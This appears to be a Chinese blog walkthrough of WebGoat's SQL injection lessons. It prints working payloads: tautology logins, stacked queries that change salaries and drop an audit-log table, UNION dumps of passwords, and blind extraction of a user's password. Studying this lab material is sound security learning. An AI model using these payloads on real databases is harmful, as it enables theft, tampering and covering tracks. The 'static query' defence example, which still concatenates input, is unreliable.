WebGoat代码审计-02-SQL注入
WebGoat 代码审计-02-SQL 注入
- 要学 SQL 注入,必须要知道 SQL 注入的根本:使得浏览器中的 SQL 语句闭合。
- 其余废话就不多说了,主要是针对于代码审计方面的 SQL 注入,从根本上理解 SQL 注入。
0x01 SQL Injection (intro)
1. SQL Injection (intro) PageLesson2 select
Select 语句的使用
靶场界面如图所示
其中有一段:
1 | There are three main categories of SQL commands: |
这里意思是让我们掌握一些基本的 SQL 语言,包括:
DML(data manipulation language):数据操作语言,用于执行查询的语法。例如增删改查
1 | SELECT UPDATE DELETE |
DDL(data definition language):数据定义语言,创建或删除表格,定义索引等。例如
1 | CREATE DATABASE - 创建新数据库 |
DCL(Data Control Language):数据库控制语言,授权,角色控制等。例如
1 | GRANT 授权 |
TCL(Transaction Control Language):事务控制语言,例如
1 | SAVEPOINT 设置保存点 |
- 靶场要求: Try to retrieve the department of the employee Bob Franco。也就是查询 Bob Franco是哪个部门的。
- 注意,此时的我们是有 admin 权限的,所以直接写查询语句即可。
- 语法:”select something from table where colunm = *”
1 | select department from employees where first_name='Bob' and last_name='Franco'; |
如此,我们的查询就成功了~ 老规矩,代码审计
这里设置了简单的 SQL 查询语句,并设置了 TYPE_SCROLL_INSENSITIVE
: 也就是对底层数据变换不敏感; 还设置了 CONCUR_READ_ONLY
————只读。
后面语句的意思:判断 SQL 语句查询出的 department 是否等于 Marketing。
所以这里,我们输入如下语句也可以实现:
1 | select 'Marketing' as department from employees; |
2. SQL Injection (intro) PageLesson3 update
update 语句的使用
靶场界面如图所示
- 直接做题,将 Tobi Barnett 的部门修改为 Sales。
- 语法: “update tablename set colunm=’’ where colunm = * “”
payload:
1 | update employees SET department = 'Sales' where first_name='Tobi' and last_name='Barnett'; |
如此,我们的查询就成功了~ 老规矩,代码审计
代码判断 department 是否等于 Sales。
和上题类似,可以通过这种方法绕过
1 | update employees set department='Sales' |
3. SQL Injection (intro) PageLesson4 alter
Alter 语句的使用
靶场界面如图所示
- 直接做题,要求将列 “phone”(varchar(20))添加到表 “employees”。
- 语法: “alter table tablename add colunmname colunm type”
payload:
1 | alter table employees add phone varchar(20); |
老样子,源码
我们看到这里的语句
1 | ResultSet results = statement.executeQuery("SELECT phone from employees;"); |
在我们执行完 SQL 语句之后,phone 列表已经被插入到了 employees 表里,此时的变量 results 被赋值,才有了后面的以切判断。
4. SQL Injection (intro) PageLesson5 grant
Grant 命令的使用,事关权限问题
靶场界面如图所示
- 直接做题,要求将表 “grant_rights” 的权限开通给用户 “unauthorized_users”。
- 语法: “grant all on table to user;”
这里的 all 可以替换为其他的权限,例如增删改查。
老样子,源码
我们看到这里的 SQL 语句:
1 | SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE = ? |
TABLE_NAME = GRANT_RIGHTS
GRANTEE = UNAUTHORIZED_USER
也就是检查是否存在,okpass
SQL 注入一般存在于这种语句中 " SELECT * FROM users WHERE name = '' ";
- 原理:闭合 SQL 语句
5. SQL Injection (intro) PageLesson9 万能密码
靶场界面如图所示
- 直接做题,看着就像是万能密码
- 题目里面告诉了我们 SQL 查询语句
1 | "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'"; |
这里我们选择 Smith’ or ‘1’=’1,成功~
得到的 SQL 语句:
1 | SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1' |
因为 last_name 这里等于 **’Smith’ or ‘1’=’1’**永远为真,
SQL 语句也就因此变换为
1 | SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE |
而所有的数据对于 **last_name=TRUE **都成立,故可以查询出所有的数据。
老样子,源码
这一行的代码:
accout: Smith’
operator: or
injection: ‘1’=’1
而传进去的参数 accoutName
= Smith' or '1'='1
也就有了我们看到的 SQL 语句:
1 | SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1' |
6. SQL Injection (intro) PageLesson10 数字型注入
所谓数字型注入即参数为数字,不需要添加其他符号来做闭合,如 id=1 or 1=1
的形式
测试数字型注入的步骤:
(1) 加单引号,id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加 and 1=1,id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
靶场界面如图所示
- 题目已经给了 SQL 查询语句
1 | "SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID; |
再结合题目提示 “数字型注入”,直接在 Login_Count 中输入 1 or 1=1
—————进行最基本的数字型注入,查看回显。
呃,居然没有任何回显,意料之外……
又在 User_Id 框中输入 1 or 1=1,还是不对。
前两种情况都错了,尝试第三种情况,Login_Count 的值随意输入,将 User_Id 的值输入为 1 or 1=1
终于成功了,可是为什么 Login_Count 的值是 1 or 1=1 时总是得不到理想的回显呢?
老样子,源码
变量:
login_count: 1
userid: 1 or 1=1
这里突然发现,SQL 语句同之前的不一样了,出现了一个新朋友————“?”
- 对应的 SQL 语句,我们把它单独拉出来
1 | "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; |
“?” 在 SQL 语句中起到了预编译的作用,当用户数据来的时候,就会直接替换掉? 这里不存在再次编译, 所以也就不会解析用户数据了,能够很好的预防 SQL 注入。后面的代码会将 Login_Count 转换成数字类型,如果没有出错才会进行后续的操作。
简而言之,预编译读入了输入的字面意思,从而不将其与 SQL 语句混淆。
由此可见,预编译对于 SQL 注入的预防功能还是卓有成效的 ~
7. SQL Injection (intro) PageLesson11 字符型注入
- 字符串注入一般需要通过单引号来闭合的。同数字型注入类似,但数字型注入不需要单引号来闭合。
- 字符型注入有一个更出名的名字 ———— 万能密码
测试字符型注入的步骤:
(1) 加单引号,id=3’ and password=123
由于加单引号后变成三个单引号,则无法执行,程序会报错;一般的报错都是像这样。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1 |
(2) 尝试绕过,通过 1’ or ‘1’=’1
此时的 SQL 语句会变成这样:
1 | SELECT * FROM table WHERE first_name = '1' and last_name = '1' or '1' = '1' |
靶场界面如图所示
- 用万能密码进行绕过,题意,服务器通过 “auth_tan” 来判断是否为员工本人。那么这里万能密码的应用点就应该在 “auth_tan”
老样子,源码
很明显,我们通过万能密码的方式拼接了 SQL 查询语句。
8. SQL Injection (intro) PageLesson12 堆叠注入
靶场界面如图所示
Lesson12 与 Lesson11 的 SQL 查询语句并没有改动,需要我们将 John Smith 的工资拉高,拉的比任何人都要高。
- 要完成上述所说的操作,唯一想到的只有堆叠注入了。
- 堆叠注入:同时执行两句 SQL 语句。最简单的堆叠注入语句
1 | select * from users;DELETE FROM test |
先查询 user 表,然后再从 test 数据库里删除 user 表。
在本题中,要将 John Smith 的工资修改地比另外两人高,直接构造 payload :
1 | 1'; update employees set salary=9999999 where last_name='Smith';-- - |
最后的 -- -
是将 SQL 语句后面的部分注释掉,从而实现修改数据。
关键拼接部分的源码与上题完全相同,不再加以分析。
9. SQL Injection (intro) PageLesson13 干完坏事记得删历史记录!
之前看某些入门级的黑客书籍时,总会说到删除历史记录什么的,直到现在才对删除历史记录有一定的感受。
SQL 的操作都保存在一个名为 “access_log” 的表格中。所以我们要删除历史记录的话,必然是执行 drop access_log 的命令
靶场界面如图所示
点击 Search logs,可以发现我们对数据库的所有操作,包括之前违规 “涨工资” 的操作。
想到是对数据库的操作,立马想到堆叠注入。构造 payload
1 | 1';drop table access_log; -- - |
至此,intro 部分全部通关。
0x02 SQL Injection (advanced)
前文 intro 模块介绍了一些基本的 SQL 语句,Advanced 部分将介绍多重 SELECT,也就是我们常说的联合注入 ———— UNION SELECT
- 在介绍 UNION SELECT 之前,先来熟悉以下 SQL 语句当中的一些特殊符号,这在后续的渗透中经常会用到。
1. 联合注入前的 Preparation
Prepare① : SQL 语句当中的特殊符号
(1) 常见注释符:
行内注释符号
/**/
; 应用 ——/* 123 */
,能够将123注释。行外注释符号
--
;#
; 应用 ——SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
可以将 “–” 后的所有内容都注释掉。
(2) 常见查询符:
提供多组查询,也就是堆叠注入,符号为
;
应用 ——SELECT * FROM users; DROP TABLE users;
(3) 常见连接符:
用于字符串的连接,单引号
'
,加号+
,管道符||
, 应用 ——SELECT * FROM users WHERE name = '+char(27) OR 1=1
Prepare②: SQL UNION SELECT 联合查询
- 联合查询的用法:
1 | SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data; |
这时候肯定有好多小伙伴要好奇问了,你说了这个联合查询,那联合查询没有任何限制吗?———————— 答案当然是有限制!
在使用 UNION SELECT 联合查询之前,必须要先判断数据表有多少列,试想一下,如果数据表有三列,而 UNION SELECT 了四列,必然会导致报错。
Prepare③: SQL UNION SELECT 的两个前提条件
条件一、 SELECT 的列数与数据库的列数相等:
举个栗子: 数据库有 3 列,那么 union 查询时的语句应该符合如下基本构造
1 | 1' union select 1,2,3 # |
如果数据库有 4 列,构造如下
1 | 1' union select 1,2,3,4 # |
条件二、 查询的数据要与原数据库列的数据类型匹配
乍一眼看这段话是比较抽象的,我们还是简单举个例子。
大家都知道,在新建数据库时,我们必须命名 table_name, column_name 以及 column_type ————这个东西就是数据库列的数据类型。
1 | CREATE TABLE Persons |
对应这一个新的数据表 Persons,我们的联合查询应该如下
1 | 1' union select 1,"张三","李四","322111","杭州" # |
如果第一个数据输入的并不是 int 类型的数据的话,一定会遇到报错,我们这里用’1’作为例子。
1 | Conversion failed when converting the varchar value '1' to data type int. |
- 那么问题又来了,当我们实战渗透,进行攻击的时候,肯定不知道对方的数据表有几列啊,这时应该怎么办呢?
Solution1 通过 ORDER BY 命令
假设是字符型注入
1 | ' ORDER BY 1 -- |
Solution2 通过 UNION SELECT NULL 来判断列数
有多少个列,就写多少个 NULL
1 | ' UNION SELECT NULL -- |
- 特别需要注意的:在 Oracle 数据库中,需要改为
1 | UNION SELECT NULL FROM DUAL -- |
好啦,该讲的知识点也都讲完了,是时候打靶场了~
2. SQL Injection (advanced) PageLesson3
靶场界面如图所示
- 题目告诉我们已经存在的两个数据表 user_data 和 user_system_data
- 两个任务:1. 从表中获取到所有的数据;2. 搞到 Dave 的密码。
看到这个 Get Accout Info 的按钮,这和 Check Password的一定是分开的,那么我们先尝试闭合 SQL 语句,在第一个查询框内输入 1' or '1'='1
解法一、使用堆叠注入
根据我们前文提到的堆叠注入,通过分号隔开两条 SQL 语句,payload:
1 | 1'; select * from user_system_data -- |
由此,我们爆出了 user_system_data 表的数据,也得到了 Dave 的 password。但是 WebGoat 此时让我们再使用 UNION 查询来完成 SQL 注入。
解法二、使用联合注入
- 从之前的尝试中,我们发现使用万能密码注入时,返回的数据有七列。而 user_system_data 表只有4列,所以需要将从 user_system_data 表中查到的数据补齐到7列。
- 7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
- 目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列。
由此思考出 UNION SELECT 的数据:
1 | userid, user_name, password, null, null, cookie, null |
进一步构造 payload:
1 | 1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data -- |
这样子我们可以爆出所有的数据
还有一种只爆出 Dave password 的 payload,在这一种 payload 中,可以很明显地看出来 Union 联合查询要满足的第二个条件———————— 查询的数据要与原数据库列的数据类型匹配。
1 | 1'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- |
老样子,源码
源码中还是对 SQL 语句不加任何的过滤,不同的是这里出现了正则表达式,判断我们是否在查询语句中使用了 UNION 联合查询。
3. SQL 盲注
在 WebGoat 网站上对盲注的英文描述机翻过来之后,比较不准确,这里分享一下自己的理解。
(1) 什么是 SQL 盲注
- 首先 SQL 盲注很重要的一点是无回显
- 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显
展开来给大家讲一讲
SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。
只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
(2) 判断 SQL 盲注的方法
- 最重要的一定是先找注入点,判断是否存在注入点,多试试各种地方,比如 Login 的登录界面,Register 注册界面等
1. 针对布尔盲注,也就是 True 与 False 的回显
- 布尔盲注,只会根据你的注入信息返回 True 或 False,也就没有了之前的报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
布尔盲注判断方法:
- 判断注入点
1’ and 1=1 // 页面返回有数据
1’ and 1=2 // 页面返回无数据
此种情况可以推出存在 SQL 注入- 判断当前页面字段数
1’ and 1=1 order by 2 – // 页面返回有数据
1’ and 1=2 order by 3 – // 页面返回无数据
判断出当前页面字段数为 2
时间盲注判断方法
- 判断注入点的 SQL 语句
1’ and 1=1– // 页面返回有数据
1’ and 1=2– // 页面返回有数据
页面的返回没有变化,可能是盲注;- 判断是何种盲注
Select name from table where id = 1 and if(布尔表达式,sleep(5),(1)); // 条件为真时延时 5s
可以通过简单的id = 1’ and sleep(2)判断是否存在时间盲注
还有一些深度用法,我们以 WebGoat 靶场下的题目为例说明
4. SQL Injection (advanced) PageLesson5 布尔盲注
靶场界面如图所示
(1) 探测注入点
- 界面中有 Login 与 Register 两个界面,我们依次寻找注入点。注入点无非四处,Login 界面下的用户名密码,Register 下的用户名密码。
Login 界面下对 username 进行注入点探测,输入1' or '1'='1
得到回显:”No results matched, try again.”
这里得到的回显代表了不存在 SQL 注入,如果存在 SQL 注入的话必然是会报错的。
在密码处尝试探测注入点,得到的结果同上。
- 尝试后发现,Login 界面下的 Username 与 Password 都不存在 SQL 注入
转战 Register 界面,我们先注册一个名为 hello 密码为 123 的账号。
注册完之后,在 Register 界面再进行 SQL 注入点的探测
hello’ or 1=1 –
hello’ or 1=2 –
hello’ and 1=1 –
hello and 1=3 –
先贴四张图,给大家看一看回显
更直观一些,我们列一张表格总结一下
username | 回显 |
---|---|
hello’ or 1=1 – | already exists please try to register with a different username.这说明存在SQL注入,因为如果不存在SQL注入,用户名**”hello’ or 1=1 –”是不存在的,不应该提示『已存在』。说明“hello’ or 1=1 –”**SQL语句被解析了 |
hello’ or 1=2 – | already exists please try to register with a different username. 说明存在SQL注入,否则用户名为**”hello’ or 1=2 –”**的用户是不存在的。 |
hello’ and 1=1 – | already exists please try to register with a different username. 说明存在SQL注入,否则用户名为**””hello’ and 1=1 –””**的用户是不存在的。 |
hello’ and 1=2 – | User hello’ and 1=2 – created, please proceed to the login page.如果单从这一条来说,是不能确定是否存在SQL注入的,因为有两种可能性。可能1: 用户名为hello’ and 1=2 – 的用户确实不存在,所以可以注册。可能2:and 1=2 起作用了,它的结果是 false,对于 select * from xxx_table where false 来说,是始终不会查询到数据的。所以可以注册 |
由上述分析,我们可以确定 Register 处存在 SQL 盲注。
(2) 进阶使用/理解布尔盲注
- 题目目的:让我们以 Tom 的身份登录
tom的组合有好多中写法。
简单测试,发现在数据库中已经存在的用户名是 tom ~
如果想要以 tom 的身份登录无非是两种方式
一、通过联合注入爆出 tom 的数据 ———— 使用到布尔盲注
二、篡改 tom 的密码 ——— 运用我们之前所讲的堆叠注入
第一种方式更加切题,我们先从第一种,通过布尔盲注的方式来
解法一、使用布尔盲注
在讲解题之前要先提一下一个函数 —- substring,作用是截取字符
1 | substring(string ,1,3) // 取string左边第1位置起,3字长的字符串。 |
基本思路是先爆表,再爆库,再爆列,再爆值。毕竟是盲注嘛,还是很累的。这里列举一下爆表/库/列的 payload:
爆表名:
1’ or substring((select schema_name from information_schema.schemata limit 0, 1), 1, 1)=’I’;–
- 需要改动 substring 的数值,例如,爆出第一位之后,需要改变payload 为 substring(语句,2,1) 用来爆破第二位。爆破可以使用 burpsuite
爆破的结果:
由此可以看出,schema 名的第一个字母为 C,接着继续爆…………以此类推
爆库
‘ or substring((select table_name from information_schema.tables where table_schema=’刚获取到的表名’ limit 0, 1), 1, 1)=’a’;–
爆列
‘ or substring((select column_name from information_schema.columns where table_name=’刚获取到的table名’ limit 0, 1), 1, 1)=’a’;–
这里直接猜测列的名字是 password,构造 payload:
1 | tom' or password='12345 //用这个语句,判断 password 列对应的是密码 |
- 当我们已经爆出列的时候,就可以开始爆密码了。
payload:
1 | tom' and substring(password,1,1)='a // 爆密码的第一位 |
第一位字母的爆破如图
对于 tom’ 来说,只有 tom and true
时才会是 True,否则会报错,也就是说,只有爆对字母才会成功 ~
最后得出 tom 的密码是 thisisasecretfortomonly
解法二、使用堆叠注入
爆表,爆库,爆列的几步走和上面一致
只是在篡改密码时的 payload 不同了
1 | 1'; update XXX_TABLE set PASSWORD_COLUMN = '123456'; -- |
然后以用户名tom和密码123456登录即可。
0x03 SQL 注入的基本防御手段
1. 构造不可变的查询
1.1 静态查询
1 | SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'"; |
这里的 UserID 就不经过拼接,而是直接通过 session.getAttribute 读取。
1.2 预编译 ———— 也就是使用问号
- 预编译的问题在上文我们也提到过 ~
1 | String query = "SELECT * FROM users WHERE last_name = ?"; |
很多小伙伴们觉得预编译可以完美防止 SQL 注入,其实不完全是这样的。
2. 使用转义字符
转义字符,也就是过滤掉一些特殊的字符,比如单引号、括号这种,能够很好的防御 SQL 注入。
3.对访问数据库的 Web 应用程序进行 WAF 操作。
- 本文标题:WebGoat代码审计-02-SQL注入
- 创建时间:2022-03-17 13:13:51
- 本文链接:2022/03/17/WebGoat代码审计-02-SQL注入/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!